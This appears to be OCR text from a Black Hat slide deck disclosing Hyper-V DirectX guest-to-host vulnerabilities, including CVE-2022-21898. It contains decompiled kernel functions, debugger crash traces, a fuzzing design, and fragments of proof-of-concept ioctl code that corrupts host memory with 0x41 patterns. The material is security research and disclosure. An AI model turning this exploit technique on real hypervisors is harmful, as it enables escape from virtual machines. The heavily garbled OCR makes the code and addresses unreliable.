- LABEL 37:
( 'v5 ad )
v5_ad = (struct DXGPROCESS *)Src. Y ianaVEG;
v28 = WaitForSynchronizationObjectFromGpu(HIDWORD(v17), v19, v5 a4, Src. JENCVENME, vi7, vi4, v7,

Information Classification: General
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WaitForSynchronizationObjectFromGpu

vle = H

vl75 = EEL
v167 = (unsigned int *)a2;
vll = al;

vl56 = al;

vl2 = al;

v183 = al;

Src = H

vl/4 = ad;
v159 = ab;
vl7/9 = ab;

vl3 = @i6d;
v1l70 = ©9ied;
vl/2 = 8;

( al <= 4 )

__inte4  fastcall WaitFDPSynchPDnizatiDnDbjectFPcmGpuiun5igned int al,

unsigned int *a2l,
struct DXGPROCESS *EH,
unsigned  intbd ad,
unsigned int ab,
struct DXGPROCESS *ab,
bool a7, bool a8,
bool a9, bool al@)

*(_DWORD *)(v115 + 24) = v119;
vl/g = 1,
v125 = *(_DWORD *)(v112 + 192);
( (unsigned int)(v125 - 5) <=1 )
1
vl26
5
d
vl26 = @ib4;
( v125 == 2 )
v12b = wvl74;

*v1@;

¥
v127

v128 =

v1b65;
N v + 196) > 2 1 | :iF1n apterlbject
*(_DWORD * 112 196 2) &1 2 * ORD *)DXGSYNCOBJECTCA: : FindAd Obj
(DXGSYNCOBJECTCA *)vl12,

*(struct ADAPTER_RENDER **)(*((_QWORD *)v165 + 2) + 16i64))

+ 4) @ *(_QWORD *)(v112 + 328),;

Information Classification: General
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¥
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PoC Code

ddd.adapter handle = © ¢

enumada.adapters = adapterinfo;

enumada.num_adapters = b64;

ioctl(fd, LX DXENUMADAPTERS2, &enumada);

printf({"num:9x%x handle:@x%x\n", enumada.num_adapters, enumada.adapters->adapter_handle);
ddd.adapter_handle = enumada.adapters->radapter handle;

ioctl(fd, LX_DXCREATEDEVICE, &ddd);

printf(“device handle @x¥%x\n",ddd.device);

memset(&createcont, 9, {struct d3dkmt_ createcontextvirtual)); pun->device =_ddd"ﬂjEVlCE;
createcont.device = ddd.device; pwn->command_id = ©;
createcont.priv_drv_data_size = 8xB8,; pwWn->process = 2Z;
ret = ioctl(fd, LX DXCREATECONTEXTVIRTUAL, &createcont); pwn->channel_type
(ret){ B

wn->command_type
printf("CreateContext Error!\n"); ° — P

9; pwn->datalength =
} memset{data, 0x086,
pwn->wait = 1;

P P 33
e b

S e W

i
k]
[ak]
K]
L
nk]
o
o
L]

struct d3dkmt pwn *pwn = NULL; pwn->data = data;
unsigned char * data = NULL; :

_ P *(u32 *)(data + Ox00) = createcont.context;
pwn = malloc(Bx4868); - _
data = malloc(@x2aaaaab®); *(u32 *)(data + 6x04) = 1;

*(ubd *)(data + Ox038) = 1;
pun->device = ddd.device; *(ubd *)(data + Ox10) = 6x4141414141414141;
pun->command_id = ©; *(u32 *)(data + OxI sync_handle;
pwn->process = 2; —
pwn->channel_type = 8; pwn->res = result;
pwn->command_type = 8x9; ioctl(fd, LX DXPWN, pwn);
pwn->datalength = 8x18 (struct dxgkvmb_command createpagingqueue) ]
memset(data, B0x08, Ox abB);
pwn-»wait = 1;
pwn-»>data = data;
*(u32 *)(data + 9x@0) = ddd.device;
pwn->res = result;
ioctl(fd, LX DXPWN, pwn);
printf(“sync_handle O@x%x\n", *{u32 *)(result + 8x04));
- sync_handle = *(u32 *)(result + 9x84);
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Debugging

3:
7

kd: bu deglrnl | WaitForSynchronizationObjectFromGpu+l=1945

kd: g

Breakpoint 0 hit
deglkrnl | WaitForSynchronizationObjectFromGpu+lx1945
tfff£807° 74delddel 4cB8b36

7

7
7

fEff£a07°
fEff£a07°
fEff£a07°
fEf££a07°
fEff£807°
fEff£807°
fEff£807°
feffea0y7"

7

kd: k

Child-5F
ffffeg01
ffffeg01
fff£E8501
fff£E801
fff£E801
ffffE801
ffffE801
fff£8801

"efZai4i
"efZai vl
"=e82a78510
"=282a79510
"efZatall
"edZaiail
"eBZa?bli
"e82a?bie0

kd: r @r=si1
rei=4141414141414141
kd: n @rip
deglkrnl | WaitForSynchronizationObjectFromGpu+0x1945:

74=1d4e=8
74=1d4e=8
7delddees
7deld4fl
74el1d4£9
74el1d4fb
74el1d4fd
74el1d504
kd: dg @r=i

41414141°
141414141°
11414141°
141414141°
41414141°
141414141°

41414141
41414151
41414161
41414171
41414181
41414191

AP arar S ar

Eetiddr

tff££807°
tff££807°
tE£££807°
tf£££807°
tf£££807°
fE£££807°
tf£££807°
gooooooo”

4=8L36
gbe87=4000000
cleli2
4=8E9424=23000000 mow
asil
7509
4-8baf48010000
ebld

PRI

mowr

7delbafb
74fale=d6
74£7105c
74f751cd
Ed3EEL1E
Ed355855
Ed9f=808
oooooano

rld gword ptr [r=1]

Call Site

deglkrnl | WaitForSynchronizationObjectFromGpu+0x1945

deglkrnl | DaxglklWaitForSynchronizationObjectFromGpulnternal +0x3£f 6

deglrnl | DEG _HOST VIRTUTALGFU_VHBUS: : YmBusWaitForSyncObjectFromGpu+0x206
deglrnl | Y¥mBusExzecuteComnandInProcessContext+0x193

deglrnl | ¥ mBusFroces=sPaclket+0x2bd

nt |ExpWorkerThread+0x105

nt | PepSvstenThreadStartup+0=LS

nt lKiStartSystenThread+0x28

mowr

rld, gword ptr [r=1] |

mow
=hr

te=st
jne
now
Jnp

FArarararSrarar

eax,.dwvord ptr [rdi+Uidh |

2ax, 2

r1l0,gword ptr [rsp+0CEh]

al.l

dzglkrnl | WaitForSynchronizationObjectFromGpu+0xl196e (£££££807 7 7d=1d506)
r9.gword ptr [rdi+lddh]

dzglrnl | WaitForSynchronizationObjectFromGpu+0x197a (£££££807 7 74=1d51a)

PRI

41414141°
41414141°

414141a1
414141b1
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Case Studies

Arbitrary Address Write:

CVE-2022-21898

DXGK_VMBCOMMAND_ SUBMITVAILPRESENTHISTORYTOKEN

CONTEXT .
rax=0000000000000000
rdz=ffffce85784£0993
rip=fffff80745c0563f
ra=0000000000000000
rll=ffffaffceflanfhbil
rld=ffffcel8L5784£0760
1opl=0

c==0010 ===0018

tfff9680id5=4220 —

nv up
d==002h

fcxr O=zffff9680fd5=4920)

rhex=0000000000000000
rei=ffffcelL776a7480
re=p=ffffabBlBceflacf?a
r9=f{fifcef5ai3ib3i0nn
rilz=0000000000000000
r15=00000000fff£f££££
2l pl ng na po nc

e=z=00-hk

f==0053

rcE=4141414141414141
rdi=ffffcef5e85b3000
rhp=ffffaldfceflacffl
rlo=fffff8074fb11210
rl3a=0000000000000000

g==002k

dEgmmn=Z | VidSchiicguirePriwvatelDataFeference+0x3b:

tEE£££807Y 45c0563f f0££410c

Fesetting default =scope

lock inc dword ptr [rox+0Ch]

efl=00050206

SYMBOT_WAME:

BAD STACE _POINTER: ffff9680£fd4d5=3938
STACK_TEXT:

ffffallc eflabf?d £££££807 45230a57
tfffa88c ef0abf80 £££££807 4535895
ffffal8c ef0a7020 £££££807 4£990770
ffffaldlc ef0a7050 £££££807 4£9b05%a
tfffaB88c"=f 027890 £££££807 4£9231052
ffffallc ef0a7950 £££££807 4£9351cd
tfffal88c"ef0a7200 £££££807° 472bAG1E
ffffal88c ef0a7a70 £££££807  47BLEREE
ffffallfc ef0a?bll £££££807 47bi=818
tfffa88c"=f 027060 00000000 OOOOOOOO

poooooooTooooooan
tfffceBL " 784£0760
poooooooooooooan
ffffoel5 62816540
ffffceBE =00000bb
ffffcef5 00000000
tfffc=857 00000000
ffffceft Ed4d2080
ff££9680 fd5c4180
tfffa88c"=f0a8000

degnnsd | VidSchiAcquirePrivatelataRef erence+3ih

gaoaooooToooooaon
tfffc=857 683032000
ffff=e38="1bb0d740
goooooooTaaoaoaan
goooooooToooooaoa
gooaooooToooooaon
tfffce8G5d442080
goooooooTooooonsa
ffffceq5 54442080
tfffa88c"=f0a1000

oaoaoooo”
ffffceltT
oaoaoonsg”
tE£££807°
tfff=el8e’
ffffcels”
tEff£207°
ffffcelt”
fE£££807°
oaoaoooo”

oaoaoooo
77627480
oao4o0o0n
4£ab02d0
1bb0OdE70
7d05=110
4f9a4£f10
£d47b040
47B55800
oaoaoooo

goooooon:
ffffalic
goooooon:
aooooooon:
goooooon:
fffffa07 " 4f9adf00
ffffe=lb Bddazazi
Q00fadaf "bl9bbfff
chc?cich c?ocichc?
Qooooooo ooooooon

oaoaoooo
ef0a7060
oaoaoooo
ooaooann
oaoaoooo

dEgnns: | VidSchiicquirePrivatelDatakef erence+0=3b

dzgmm=2 | VidSchiRedirectedFlipWaitOnSyncObject+0x1b7

degnn=s | VidSchSubni tCommandContext less+0x55

drglrnl | DEGADAPTER .  SubmnitPresentHistorvTokenFromVWm+l=z66c

deglrnl | DEG_HOST VIRTUALGPU _WHBUS: : VmBusSubmitVailFPresentHistorvToken+lxZca
dxglkrnl | VmBusExecuteCommnandInProces=Context+0x198

drglrnl | VmBusProcessPaclet+0=x2bd

nt | ExpWorkerThread+0x105

nt | PepSy=tenThreadStartup+0=55

nt | KiStartSystenThread+0x28

Information Classification: General
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O CVE-20'2-21 898

DXG HOST VIRTUALGPU VMBUS:VmBusSubmitVailPresentHistoryToken

100 (v27 >= 0 )
101 {

182 v28 = DXGADAPTER: :SubmitPresentHistoryTokenFromVm(

183 *(_QWORD *)(*((_QWORD *)vl + 5) + 16ib64),

184 v/ databuf->present.context handle,

185 v/ _databuf->present.unknown> off20, databUf memory |ayOUt
186 v/ databuf->present.unknown2 off8,

187 v/_databuf->present.unknown3_off18, -
108 &7 _databuf[1], offset name Slze

189 v/ _databuf->present.unknownd offl8,

118 7 _databuf-> t.devi handle,

111 V7_databuf->present .unknowné, off2C, 0x00 command 0x18
112 vl3,

1 R 0x18 context_handle 0x04
115 (v20 >= 0 )

16 { 0x1C unknownl_off4 0x04
117 LABEL 24:

118

119

120 CRefCountedBuffer: :RefCountedBufferRelease((PSLIST ENTRY)wv13);

121 LABEL26: 0x28 | unknown3_off10 0x08
123

123 LABEL 27:

124 _ ( v28 == @xCP@0AOBB ) 0x30 unknown4 off18 0x08
125 v27 = DXGADAPTER: :SubmitPresentHistoryTokenFromVm( —

126 *(_QWORD *)(*{(_QWORD *)vl + 5) 16i64),

127 V?_dﬂtEbU‘F—>prE5Eﬂt.COnt:XtihﬂndIeJ : OX38 unknownS_OﬁZO OX08
128 v7_databuf->present.unknown5 off28, )

129 v7_databuf->present.unknown2 off8, 0x40 (j(;\/|(:€§ 5;)/f1(:[1£1f1(j|53 Ox04
139 v/ databuf->present.unknown3 offl1@, —

131 @ibd,

152 v;_databu-F— »present.unknownd of+18, OX44 UnknOWH6 OffZC OXO4
133 v7_databuf —

-»present.device synchandle,
134 a,

135 pi6d,
136 OxFFFFFFFF);
Informat|iEHl LABEL_29;

| size
| 0x18
| 0x04
| 0x04
W) 0x20
| 0x08
| 0x08
| 0x08
| 0x04
| 0x04
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DXGADAPTER:SubmitPresentHistoryTokenFromVm

__inté4  fastcall DXGADAPTER: :SubmitPresentHistoryTokenFromVm{ int64 al,
unsigned int a2 context handle, unsigned  int6t4 ag_unknGWHS_DfFEB,
unsigned  int64 ad unknown2 off8, unsigned  int64d a5 unknown3 off19,
void *ab, unsigned  int6d ERLGLGUEGEESIe@k | unsigned int a8 device synchandle,
int a9, struct CRefCountedBuffer *al®, unsigned int alll

{

unsigned int vll a2 context handle;

t
*((_QWORD *)w29 + Ox60 a7_unknownd_off18H
a7 unknownd offl3
{ v33 )

( *((_DWORD *)v33 + 105) & 0x10
&& (vA7 = DXGCONTEXT::SynchronizeImplicitQueuelWithRenderQueues{v33, @i64, 6, 1, 0i6d, 1), v27 = vd7, vA7 < 8) )

{
v56 = DXGSYNCOBJECT: : GetVidSchSyncObject(

+*(DXGSYNCOBIECT **)(v55 + 32),
*(struct ADAPTER_RENDER **)(*(_QWORD *)(v55 + 16) + 16i64));
LODWORD(v27) = (*(__int64 (_ fastcall **)(struct VIDSCH SUBMIT DATA BASE *, QWORD, \
struct VIDSCH_SYNC_OBJECT *))(*(_QWORD *)(*((_QWORD *)v71 + 77) + 8i64) + 1008i64))(

*{_éNDRD *)(v57 + Ox300
v56);

Information Classification: General
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VidSchSubmitCommandContextless

int _ fastcall VidSchSubmitCommandContextless{void *Src, struct VIDSCH DEVICE *a2, int64 a3)
1

__intbd v3;

void *ﬂ;

struct VIDSCH GLOBAL *v5;
int result;

__intbd vi;

___int64d vE;

v3 = a3;
ﬂ— S5rc;
( a3 & a2 &% Src )
1
v

5 *(struct VIDSCH GLOBAL **)(a3 + 8);
v8 = *(_QWORD *)Src;
( 1(v8 & 0x20)
|| (result = VidSchValidatePresentFlags((struct VIDSCH _SUBMIT DATA2 *)Src, a2, (struct VIDSCH_SUBMIT_FLAGS *)&v8),
result >= @) )
{

result = VidSchiRedirectedFlipWaitOnSyncObject(v5, HEL v3, (int *)&v8);
¥

}

1
v7 = WdlLogNewEntry5 WdAssertion();

*(_QWORD *)(v7 + 24) = -1073741811i64;
WdLogEvent5 WdAssertion{v7);
result = -1873741811,

result;
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VidSchiRedirectedFlipWaitOnSyncObject

__int64 _ fastcall VidSchiRedirectedFlipWaitOnSyncObject(struct VIDSCH GLOBAL *al, veoid *Src,  int64 a3, int *ad)

= al;
= a3i;
= {unsigned int *)Src;

*(_BYTE *)(v5 + 29) )

( *v16 >= v15 )
{
LABEL 22:
vl7 = (_QWORD *)WdLogNewEntry5 WdEvent(v15);
v1i7[3] = v5;
v17[4] = **(_QWORD **)(v5 + 64);
v17[5] = *((_QWORD *)§§ + 58);
WdLogEvent5 WdEvent({v1?);
VidSchiAcquirePrivateDataReference(v4, (struct VIDSCH_FLIP_MULTIPLANE_OVERLAYZ *){({l§ + 6x8E));

vi8 = *((_QuworD *)IE + 4);
{ vi8 )
_InterlockedIncrement(( signed  int32 *)(v18 + 12)});
VidSchiSubmitPresentHistoryToken(( int64)&v31);
LABEL_25;

P U S e T T e W ST o

Information Classification: General
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VidSchiAcquirePrivateDataReference

void _ fastcall VidSchiAcquirePrivateDataReference(struct VIDSCH GLOBAL *al, struct VIDSCH FLIP MULTIPLANE OVERLAY2 *a2)
1

unsigned int ;
struct VIDSCH GLOBAL *i;
__inted v4,

= i?;
(i-=al; < *((_DWORD *)i + 0x24); ++{# )
1
v = *(_QWORD *)((char *)a2 + JB * ((8 * *((_DWORD *)a2 + 2) + 0xC7) & @xFFFFFFF8) + OxC(8);
(va)
_InterlockedIncrement(( signed  int32 *)(v4d + 0xC));

In DXGADAPTER::SubmitPresentHistoryTokenFromVm
1

‘ *((_QWORD *)w29 + Ox60 a7_unknownd_off18H

a7 unknownd offl3
{ v33 )
1
( *((_DWORD *)v33 + 105) & 0x10
&& (vA7 = DXGCONTEXT::SynchronizeImplicitQueuelWithRenderQueues{v33, @i64, 6, 1, 0i6d, 1), v27 = vd7, vA7 < 8) )

Information Classification: General
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pwn->device = ddd.
pwn->command id
pwn->process = Z;
pwn->channel type =
pwn->command_type
pwn->datalength = 0x]
memset(data, ©x08,
pwn->wait = 1;
pwn->data = data;
*(u32 *)(data +
pwn->res = result;
ioctl(fd, LX_DXPuWN,
printf{“sync_handle
sync_handle = *(u32

device;

Ux/3aaa

k
LAY

pwn) ;

70) = ddd.device;

xx\n™
*}(result +

CVE-2022-21898

PoC Code

(struct dxgkvmb_ command createpagingqueue);
1ab@) ;

pwn->device = ddd
pwn->command id
pwn->process = J7;
pwn->channel type
pwn->command_type
pwn->datalength = 8x

.device,

, ¥(u32 *)(result + 8x04));

- -
FE AT, ¥

Information Classification: General

o

memset{data, Ox08, Ox2
pwn->wait = 1;
pwn->data data;
*(u32 *)(data + ©
*(u32 *)(data
*(ued *)(data
*(ubd *)(data
*(ubed *)(data
*(ubd *)(data
*(u32 *)(data
*(u32 *)(data
pwn->res = result;
ioctl(fd, LX DXPWN, pwn);

= .E' ;
= .:' ;
= 8x4141414141414141;
= .E' ;
sync_handle;

Wy
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CVE-2022-21898

Debugging

E: kd: bl

0 & Dizable Clear fffff807 3a9b5840 o0l {0001) dEgmmsZ | VidSchSubmnitCommnandContextless
E: kd: g
Breakpoint 0 hit
dEgmm=2 | VidSchSubnitComnandContext less
fE£££807 3295840 488952408 oy
6: kd:r po
dEgmmn=2 | VidSchSubnitCommnandContext less+0=x50
fEE£££807° 3a9B5890 =80bbLOff£f call

gword ptr [r=p+8].rbx

degmn=2 | VidSchiRedirectedFlipWal tOnSyncObject (f££££807° 3a9b08al)

7ookdr t

degmnn=s2 | VidSchiRedirectedFlipWaitOnSyncObject .

ff£f££807 329b083a0 488bcd Moy Ta®.rsn

7 kdr po

degmn=2 | VidSchiRedirectedFlipWaitOnSyncObject+0x133:

fif££807 3a9b09d3 edf8fcfdff call dEzgmm=Z | AcquireSpinlock: (Acouire (ff£££807° 329906407
7o okd:

degmn=2 | VidSchiRedirectedFlipWaitOnSyncObject+0x177

ff£££807 3a9b0al17 =87406d5fa call watchdog | WdLogHewEntrvS_WdEwvent (f£f£££807°35701090)
7o kd:

dzgmmn=2 | VidSchiRedirectedFliplWai tOnSyncCbhiject+0xlal:

fff££807 3a9bl0ad43 e8cB07d5fa call watchdog | WdLogEvent5_WdEvent (f££££807° 35701210

7o okd:

dzgmm=Z | VidSchiFedirectedFlipWaitOnSyncObject+0xl1h2

fif££807 " 3a9blab: =fad4bfdff call dEgmmn=? | VidSchiAcouirePrivatelatakeference (f££££807° 32
70 kdr dg @rdz+ci8

fff£9786° 4dd8badz20 |41414141°41414141| 000000007 00000000
f£££9786 " 4d8bad30 0COO0OQOQ00O0° QOOO0O0OQO0 oO0OQQOOO0O0 QoO0O00000
f£££9786° 4d8bad40 00000000 QQOOOOO0 OOOQQOOOO"QOOO0O00OO
ff££9786° 4d8bads0 COOO0O000OO0 QQOOOOOO0 OOOQQOOOO" QOOO0O00OO
f£££9786° 4d8bade0 C0OO0O000OO0 QOOOOOO0 OOOQQOOOOQOOO000OO
f£££9786° 4d83bad?0 00000000 00000000 cococcocooo’ CcoCCCCCC
ff££9786° 4d8badi80 £fa96014a lfcabbfa f£££9786°000001fc
f£££9786° 4d8bad90 635363437 02245700 f£££9786 5C5cd2des
7ookdr t

degmnn=ss | VidSchiicguirePrivatelataReference:

fE£££807° 32985004 453320 HOT rad, rad

7. kdr p

degmn=2 | VidSchiicquirePrivatelataReference+0x3 :
f££££807 32985607 4c8bco9 oW r9, rocx

Information Classification: General

70 kdr p
dezgnn=s | VidSchiicouirePrivatelatakeference+0x6

fE£££807 3a98560a 44398190000000 cmp dword ptr [rocz+90h],r8d

70 kd: p

dEgnn=ss | VidSchiicouirePrivatelatakReference+0z=zd :

ftff££807 32985611 YeZa 1be drgmmn=Z | VidSchiicquirePrivatelataRef erence+0x39
7o kdr p

dzgmnmn=s2 | VidSchiicqguirePrivatelataReference+0xt :

fEf££807° 32985613 8h4208 mor gax,dvord ptr [rd=+8]

7o kdr p

dzgnmn=s2 | VidSchiicquirePrivatelataReference+lzl2

fE£££807 32985616 8404257000000 lea eax, [rax*3+0C7h]

7o kdr p

dxzgmm=2 | VidSchiicquirePrivatelataReference+0xz19:

fffffa07 3a98561d 83=0f8 and eax, JFFFFFFFEh

7o kdr p

dzgmm=2 | VidSchiicquirePrivatelataReference+lxzlc:

fff££a07 32985620 410fafcO imul eax, rod

7. kdr p

degnn=2 | VidSchiAcquirePrivatelatakef erence+0=x20:

fEE££807° 32985624 488b8c103000000 mow rox, qword ptr [rax+rdE+0CEh]

7. kdr p
degmn=2 | VidSchiAcquirePrivatelatakef erence+i=x28

fffff807° 3298562 48859 test TCE.TCKE

7. kdr r @rcx

rox=4141414141414141

7o kdr p

dzgmm=2 | VidSchiicquirePrivatelataReference+0xz2hb:

fEE££807 38298562 Y50e ine dEgmnnsd | VidSchiAcquirePrivatelatakeference+l=z3ib
7. kdr p

dzgmm=2 | VidSchiicquirePrivatelataEeference+0xz3b:

fEE££807 3298563 f f0ff410c [ locl ine dword ptr [rox+0Ch] |

7. kdr dg @rcEtc
414141417 41414144
41414141° 41414154
41414141 41414164
414141417 41414174
414141417 414141834
414141417 41414194
414141417 414141ad
41414141°4141410d

PP AP AP

PP

PR

TR
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Agenda

@ Hyper-V DirectX Component Architecture
@ How to Config
(3 Attack Surface

@ Vulnerabilities detalls

(& Fuzz is necessary

® Conclusion and Black Hat Sound Bytes
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Why Fuzz?

» Hyper-V DirectX Component has a large quantity of codes.

» There are 87 commands and their corresponding structures, mutating
members in a specific struct can be very effective.

» Many commands depend on context, such as some commands depend
on device handle, allocation _handle, etc. Meanwhile, the properties of
the handle, such as the properties of the allocation_ handle will also
affect the commands that refer to it below. In this case, it is more
efficient to use fuzz.

» The above vulnerabilities were all discovered by fuzz.
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Fuzz Architecture

Host (Root Partition)

 Send mutated dxgkrnl command data.
 Receive data returned from the kernel
= module, such as the return data of
“r&w [dev/dxe create allocation command.
ioctl(LX_DXPWN) ‘~

~ioctl(LX_DXPWN) ---- agent layer
!  Send the dxgkrnl command data obtained from

dxgkrnl.ko | = the usermode program to the host DirectX

component.

 Receive data from host DirectX component and
return data to usermode program.

InfoTmmation Classilicaton: General
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Fuzz Architecture

fuzzer Host (Root Partition)

fuzzer

r&w /dev/dxg
ioctl(LX_DXPWN)

Harness

Data Send/Recv
Infrastructure

return data to usermode program.

Hypervisor
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Example

struct dxgkvmb command signalsyncobject {

TEY. object count;
4 struct d3dddicb signalflags flags;

context count; a n d d ata o

uG4 fence_wvalue;
union

—'- to the guest event object * the kernel
fuzzer -< UG cpu_event_r_mndle; -
;':l- on zero when signal from CPU is done * D ata Of

r&w /dev/dxg
ioctl(LX_DXPWN) ~

DXGK_VMBCOMMAND_SIGNALSYNCOBJECT
Mutation dxgkvmb command_signalsyncobject structure member
dxgkrnl.ko the usermode program to the host DirectX
component.
 Receive data from host DirectX component and
return data to usermode program.

Host (Root Partition)

TINAlloNn Classilication: General
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Agenda

@ Hyper-V DirectX Component Architecture
@ How to Config

(3 Attack Surface

@ Vulnerabilities detalls

B Fuzz is necessary

® Conclusion and Black Hat Sound Bytes
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Conclusion

» The Hyper-V DirectX Component has a large attack surface and is
still being updated so far.

» Hyper-V DirectX Component application scenarios include: WDAG,
Windows Sandbox, and HoloLens 2 emulator. Since virtual
machines can natively support DirectX, online 3D gaming may
become possible in the future | guess.

> () Unfortunately, MSRC thinks Hyper-V DirectX is out of scope for
Hyper-V bounty program(Thanks MSRC for the patient
communication). But it's still a good remote attack surface.

Information Classification: General
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Black Hat Sound Bytes

® Hyper-V DirectX component architecture overview, and how to
enable DirectX component in Hyper-V virtual machine configuration.

® Introduce the attack surface of Hyper-V DirectX component, and how
to find vulnerabillities In this attack surface through fuzzing.

® Discloses the internal details of 4 Hyper-V DirectX component’s
vulnerabilities, providing reference for finding vulnerabilities in this
new attack surface.

Information Classification: General
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Thank you!

Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrakle)
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Q&A

Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrakle)
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